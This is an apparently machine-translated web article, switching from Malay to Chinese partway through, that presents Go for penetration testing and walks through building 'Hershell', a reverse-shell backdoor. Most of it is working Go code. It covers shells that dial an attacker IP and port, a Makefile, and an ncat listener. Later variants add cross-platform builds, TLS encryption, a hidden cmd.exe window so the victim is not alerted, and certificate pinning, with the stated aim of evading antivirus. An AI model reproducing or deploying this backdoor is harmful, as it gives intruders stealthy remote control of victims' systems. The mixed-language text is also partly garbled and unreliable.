Rumah > Artikel > pembangunan bahagian belakang > Bolehkah bahasa go digunakan untuk ujian penembusan?
Bahasa Go boleh digunakan untuk ujian penembusan. Go menjadikannya sangat mudah untuk melakukan kompilasi silang tanpa memerlukan sebarang kebergantungan luaran. Terima kasih kepada perpustakaan standard, perduaan Go mengandungi semua kod yang diperlukan untuk dilaksanakan pada seni bina sasaran, oleh itu, bahasa Go harus memudahkan untuk membina perduaan untuk berbilang platform daripada kod sumber yang sama.
Persekitaran pengendalian tutorial ini: sistem Windows 7, GO versi 1.18, komputer Dell G3.
Apakah itu Ujian Penembusan
Ujian penembusan ialah serangan simulasi yang dibenarkan pada sistem komputer yang direka untuk menguji keselamatannya Menjalankan penilaian menyediakan mekanisme untuk menunjukkan bahawa pertahanan rangkaian berfungsi seperti yang dirancang. Katakan bahawa syarikat anda sentiasa mengemas kini dasar dan prosedur keselamatan, menampal sistem dari semasa ke semasa dan menggunakan alat seperti pengimbas kerentanan untuk memastikan semua tampung digunakan.
Bahasa Go boleh digunakan untuk ujian penembusan
Berikut ialah contoh: Menulis Hershell pintu belakang lantunan
Semasa proses ujian penembusan, alat penting ialah rangka kerja Metasploit yang terkenal dan hebat.
Persekitaran ini mengandungi sejumlah besar muatan, pengekod dan alatan lain. Meterpreter adalah penting di antara muatan ini: ia adalah versi shell yang diubah suai dengan arahan yang dibangunkan dan dieksploitasi selepas. Oleh kerana ciri serangannya yang kuat, cangkang ini mungkin yang paling biasa digunakan.
Masalah dengan Meterpreter
Malangnya, populariti Meterpreter mempunyai kelemahan: ia dikesan oleh kebanyakan penyelesaian anti-virus dan berasaskan tandatangan. Biasanya semasa ujian penembusan, binari yang mengandungi muatan Meterpreter dikesan dan dihantar untuk kuarantin.
Masalah lain mungkin adalah kekurangan sokongan untuk seni bina sasaran tertentu (mis., BSD), yang memaksa kami membangunkan pintu belakang kami sendiri.
Masalah di atas mendorong kami untuk menulis Hershell. Matlamat projek ini adalah untuk menyediakan muatan shell terbalik berdasarkan kod sumber tunggal yang merentas platform dan tidak dapat dikesan oleh perisian anti-virus.
Kami membangunkan menggunakan bahasa Go, iaitu bahasa yang disusun dibangunkan oleh Google.
Mengapa menggunakan bahasa GO?
Kini, Python mungkin merupakan bahasa yang paling popular untuk menulis skrip dan juga melengkapkan aplikasi, terutamanya dalam bidang keselamatan. Jadi mengapa kita ingin mempelajari bahasa baharu
Go mempunyai satu kelebihan berbanding Python atau bahasa lain: sangat mudah untuk melakukan kompilasi silang tanpa sebarang kebergantungan luaran. Terima kasih kepada perpustakaan standard, binari Go mengandungi semua kod yang diperlukan untuk dilaksanakan pada seni bina sasaran. Oleh itu, bahasa Go harus memudahkan untuk membina binari untuk berbilang platform daripada kod sumber yang sama.
Matlamat
Apabila membina kod ini, kami ingin mencapai matlamat berikut:
payload类型是reverse shell; 得到一个跨多个平台(Windows、Linux、MacOS、ARM)和硬件架构的payload; 容易配置; 加密通信; 绕过大多数反病毒检测引擎。
Persediaan Alam Sekitar
Pasang pakej Go daripada pengedaran kegemaran anda, atau muat turunnya daripada tapak web rasmi.
Setelah dipasang, kita perlu mengkonfigurasi persekitaran. Kami mencipta direktori dev yang akan menjadi punca sumber, perpustakaan dan binari binari:
$ mkdir -p $HOME/dev/{src,bin,pkg}
$ export GOPATH=$HOME/dev
$ cd dev
Direktori mengikut skema berikut:
bin包含编译后的二进制文件和其他可执行文件;
pkg包含Go下载包的对象文件;
src包含你的应用程序和下载包的源目录。
Cangkang terbalik pertama saya
Mula-mula, buat cangkerang terbalik TCP yang mudah menggunakan bahasa Go.
Berikut ialah versi yang diulas sepenuhnya, bukannya mengulas kod baris demi baris.
// filename: tcp.go
package main
import (
"net" // requirement to establish a connection
"os" // requirement to call os.Exit()
"os/exec" // requirement to execute commands against the target system
)
func main() {
// Connecting back to the attacker
// If it fails, we exit the program
conn, err := net.Dial("tcp", "192.168.0.23:2233")
if err != nil {
os.Exit(1)
}
// Creating a /bin/sh process
cmd := exec.Command("/bin/sh")
// Connecting stdin and stdout
// to the opened connection
cmd.Stdin = conn
cmd.Stdout = conn
cmd.Stderr = conn
// Run the process
cmd.Run()
}
Pertama, kami menggunakan net.Dail untuk mewujudkan sambungan ke pelayan jauh. Pakej bersih pustaka standard Go ialah lapisan abstraksi untuk komunikasi rangkaian berdasarkan TCP atau UDP.
Mengetahui lebih lanjut tentang cara menggunakan pakej, dokumentasi (go doc) berguna:
$ go doc net
package net // import "net"
Package net provides a portable interface for network I/O, including TCP/IP,
UDP, domain name resolution, and Unix domain sockets.
Although the package provides access to low-level networking primitives,
most clients will need only the basic interface provided by the Dial,
Listen, and Accept functions and the associated Conn and Listener
interfaces. The crypto/tls package uses the same interfaces and similar Dial
and Listen functions.
...
Mari kita kembali kepada skrip.
Setelah sambungan diwujudkan (jika gagal, program dihentikan), kami mencipta proses (objek jenis exec.Cmd) terima kasih kepada fungsi exec.Command. Semua input dan output (stdout, stdin dan stderr) dialihkan ke sambungan dan proses dimulakan.
Kemudian kita boleh menyusun fail:
$ go build tcp.go
$ ./tcp
Kini, kita perlu mendayakan pendengar:
# Listening server (attacker)
$ ncat -lvp 2233
Listening on [0.0.0.0] (family 0, port 2233)
Connection from 192.168.0.20 38422 received!
id
uid=1000(lab) gid=100(users) groupes=100(users)
如预期的那样,我们得到了reverse shell。
到目前为止我们大多数的目标尚未实现。
配置
我们现在有一些reverse shell基本代码。但是在每次编译之后我们必须修改,以便定义攻击者的监听端口和IP地址。
这种操作虽然不是很便利。但这里可以引入一个简单的小技巧:在连接时(在编译之前)进行变量定义。
事实上,在构建过程中,可以定义一些变量的值(使用go build命令)。
这是使用前面代码的一个简短的例子:
// filename: tcp.go
package main
import (
"net"
"os"
"os/exec"
)
// variable to be defined at compiling time
var connectString string
func main() {
if len(connectString) == 0 {
os.Exit(1)
}
conn, err := net.Dial("tcp", connectString)
if err != nil {
os.Exit(1)
}
cmd := exec.Command("/bin/sh")
cmd.Stdin = conn
cmd.Stdout = conn
cmd.Stderr = conn
cmd.Run()
}
我们只添加下面一行代码,进行一个安全测试以检查它是否包含一个值:
var connectString string
其代码编译如下:
$ go build --ldflags "-X main.connectString=192.168.0.23:2233" tcp.go
当我们构建二进制文件时,攻击者的IP地址和端口可以被动态定义。
注意,可以以package.nomVariable的模式访问这些变量,并且这些变量只能是string类型。
为了简化编译,我们可以创建一个Makefile:
# Makefile
SOURCE=tcp.go
BUILD=go build
OUTPUT=reverse_shell
LDFLAGS=--ldflags "-X main.connectString=${LHOST}:${LPORT}"
all:
${BUILD} ${LDFLAGS} -o ${OUTPUT} ${SOURCE}
clean:
rm -f ${OUTPUT}
本文的其余部分,我们将使用LHOST和LPORT环境变量来定义设置:
$ make LHOST=192.168.0.23 LPORT=2233
go build --ldflags "-X main.connectString=192.168.0.23:2233" -o reverse_shell tcp.go
跨平台
既然可以很容易地配置 payload,也可以跨平台使用它。
如前所述,payload的强项之一是从同一个代码库使用Go语言为各种架构和平台进行构建。
准确地说, runtime提供了GOOS和GOARCH变量。
让我们看看如何使用GOOS:
// filename: tcp_multi.go
package main
import (
"net"
"os"
"os/exec"
"runtime" // requirement to access to GOOS
)
var connectString string
func main() {
var cmd *exec.Cmd
if len(connectString) == 0 {
os.Exit(1)
}
conn, err := net.Dial("tcp", connectString)
if err != nil {
os.Exit(1)
}
switch runtime.GOOS {
case "windows":
cmd = exec.Command("cmd.exe")
case "linux":
cmd = exec.Command("/bin/sh")
case "freebsd":
cmd = exec.Command("/bin/csh")
default:
cmd = exec.Command("/bin/sh")
}
cmd.Stdin = conn
cmd.Stdout = conn
cmd.Stderr = conn
cmd.Run()
}
很显然,我们添加了一个switch模块来处理GOOS不同的值。因此,我们只是检查几个操作系统的值,并且改变每个目标进程。
上面的代码可以进一步简化,实际上除了Windows,大多数操作系统上都有/bin/sh:
switch runtime.GOOS {
case "windows":
// Windows specific branch
cmd = exec.Command("cmd.exe")
default:
// any other OS
cmd = exec.Command("/bin/sh")
}
现在,使用GOARCH处理交叉编译架构非常简单:
$ make GOOS=windows GOARCH=amd64 LHOST=192.168.0.23 LPORT=2233
go build --ldflags "-X main.connectString=192.168.0.23:2233" -o reverse_shell tcp_multi.go
$ file reverse_shell
reverse_shell: PE32+ executable (console) x86-64 (stripped to external PDB), for MS Windows
网络加密
现在,让我们看看如何加密网络流量。
有几种选择:
用一个自制的方法,在应用程序层建立加密
使用一种被广泛使用并且在会话层测试协议的方法,即TLS。
鉴于我们都倾向于简单和安全,我们选择了很容易用Go语言实现的TLS。标准库已经支持一切支持TLS的东西。
在客户端,一个新的&tls.Config类型对象需要配置连接,比如证书锁定(certificate pinning)。
这是新的代码库,进行了轻微的优化和TLS处理:
import (
"crypto/tls"
"runtime"
"os"
"os/exec"
"net"
)
var connectString string
func GetShell(conn net.Conn) {
var cmd *exec.Cmd
switch runtime.GOOS {
case "windows":
cmd = exec.Command("cmd.exe")
default:
cmd = exec.Command("/bin/sh")
}
cmd.Stdout = conn
cmd.Stderr = conn
cmd.Stdin = conn
cmd.Run()
}
func Reverse(connectString string) {
var (
conn *tls.Conn
err error
)
// Creation of the tls.Config object
// Accepting *any* server certificate
config := &tls.Config{InsecureSkipVerify: true}
if conn, err = tls.Dial("tcp", connectString, config); err != nil {
os.Exit(-1)
}
defer conn.Close()
// Starting the shell
GetShell(conn)
}
func main() {
if len(connectString) == 0 {
os.Exit(1)
}
Reverse(connectString)
}
如示例所示,创建一个TLS套接字(socket)非常类似于创建一个简单的TCP socket。不同于tls.Config,tls.Conn对象与net.Conn以相同的方式被使用。
条件编译
如上图所示,可以改变取决于目标操作系统的程序执行。
然而,如果你想使用这段代码,你会注意到一个问题。cmd.exe窗口会出现,并且无法隐藏,从而会提醒受害者。
幸运的是,exec.Cmd对象的SysProcAttr可以改变这种情况,如本文所述:
$ go doc exec.Cmd
...
// SysProcAttr holds optional, operating system-specific attributes.
// Run passes it to os.StartProcess as the os.ProcAttr's Sys field.
SysProcAttr *syscall.SysProcAttr
...
在Linux下,关于syscall.SysProcAttr模块文件,我们得到以下信息:
$ go doc syscall.SysProcAttr
type SysProcAttr struct {
Chroot string // Chroot.
Credential *Credential // Credential.
Ptrace bool // Enable tracing.
Setsid bool // Create session.
Setpgid bool // Set process group ID to Pgid, or, if Pgid == 0, to new pid.
Setctty bool // Set controlling terminal to fd Ctty (only meaningful if Setsid is set)
Noctty bool // Detach fd 0 from controlling terminal
Ctty int // Controlling TTY fd
Foreground bool // Place child's process group in foreground. (Implies Setpgid. Uses Ctty as fd of controlling TTY)
Pgid int // Child's process group ID if Setpgid.
Pdeathsig Signal // Signal that the process will get when its parent dies (Linux only)
Cloneflags uintptr // Flags for clone calls (Linux only)
Unshareflags uintptr // Flags for unshare calls (Linux only)
UidMappings []SysProcIDMap // User ID mappings for user namespaces.
GidMappings []SysProcIDMap // Group ID mappings for user namespaces.
// GidMappingsEnableSetgroups enabling setgroups syscall.
// If false, then setgroups syscall will be disabled for the child process.
// This parameter is no-op if GidMappings == nil. Otherwise for unprivileged
// users this should be set to false for mappings work.
GidMappingsEnableSetgroups bool
}
然而,在syscall package(包)的源代码中,我们观察到每一个构建都有一个特定的实现。
此外,在Windows的exec子方式中,我们注意到SysProcAttr结构有不同的定义。它有一个HidWindow属性(布尔类型),当启动一个程序时这一属性允许隐藏启动窗口。
该属性也正是我们的后门需要的。
我们可能会被这一实现所吸引:
...
switch runtime.GOOS {
case "windows":
cmd := exec.Cmd("cmd.exe")
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
default:
cmd := exec.Cmd("/bin/sh")
}
...
然而,由于HideWindow属性在syscall/exec_linux.go中不存在,因此这种编译在除了Windows之外的任何其他平台可能会失败。
因此,我们需要调整我们的项目的结构,使用条件编译。条件编译指的是一种特性,允许添加源代码文件顶部编译器的命令。例如,如果我们想要编译一个只适用于Windows操作系统的源文件,我们将添加该命令:
// +build windows !linux !darwin !freebsd
import net
...
当GOOS变量设置为darwin、 linux 或者freebsd时,该命令将指示编译器不包括该文件。当然,当值与windows匹配时,编译器将包含该源文件。
为了在我们的项目中实现该条件编译,我们将遵循这个结构:
$ tree
├── hershell.go
├── Makefile
├── README.md
└── shell
├── shell_default.go
└── shell_windows.go
hershell.go包含程序的核心部分。然后,我们创建一个名为shell的模块,该模块有两个文件:适用于Linux和Unix的shell_default.go文件;以及适用于Windows的shell_windows.go文件。
证书锁定
使用TLS安全通信是件好事,但只要我们不对服务器进行身份验证,流量仍然可以被“中间人”劫持。
为了预防这种攻击,我们将验证服务器提供的证书,这就叫做“证书锁定(certificate pinning)”。
以下函数负责证书锁定(certificate pinning):
func CheckKeyPin(conn *tls.Conn, fingerprint []byte) (bool, error) {
valid := false
connState := conn.ConnectionState()
for _, peerCert := range connState.PeerCertificates {
hash := sha256.Sum256(peerCert.Raw)
if bytes.Compare(hash[0:], fingerprint) == 0 {
valid = true
}
}
return valid, nil
}
这个函数接受一个tls.Conn对象的指针作为参数,并且包含SHA256格式的指纹证书的一个字节数组。在连接过程中,该代码扫描所有tls.Conn中的PeerCertificates,直到发现与提供的相匹配的指纹为止。
如果碰巧没有证书匹配,函数返回false。
当需要建立与远程服务器的连接时,我们只需要调用该函数;如果提交的证书是无效的则会关闭连接:
func Reverse(connectString string, fingerprint []byte) {
var (
conn *tls.Conn
err error
)
config := &tls.Config{InsecureSkipVerify: true}
if conn, err = tls.Dial("tcp", connectString, config); err != nil {
os.Exit(ERR_HOST_UNREACHABLE)
}
defer conn.Close()
// checking the certificate fingerprint
if ok, err := CheckKeyPin(conn, fingerprint); err != nil || !ok {
os.Exit(ERR_BAD_FINGERPRINT)
}
RunShell(conn)
}
最初,由于–ldflags,在编译(在Makefile中)过程中可以生成有效的指纹:
...
LINUX_LDFLAGS=--ldflags "-X main.connectString=${LHOST}:${LPORT} -X main.connType=${TYPE} -X main.fingerPrint=$$(openssl x509 -fingerprint -sha256 -noout -in ${SRV_PEM} | cut -d '=' -f2)"
...
Atas ialah kandungan terperinci Bolehkah bahasa go digunakan untuk ujian penembusan?. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!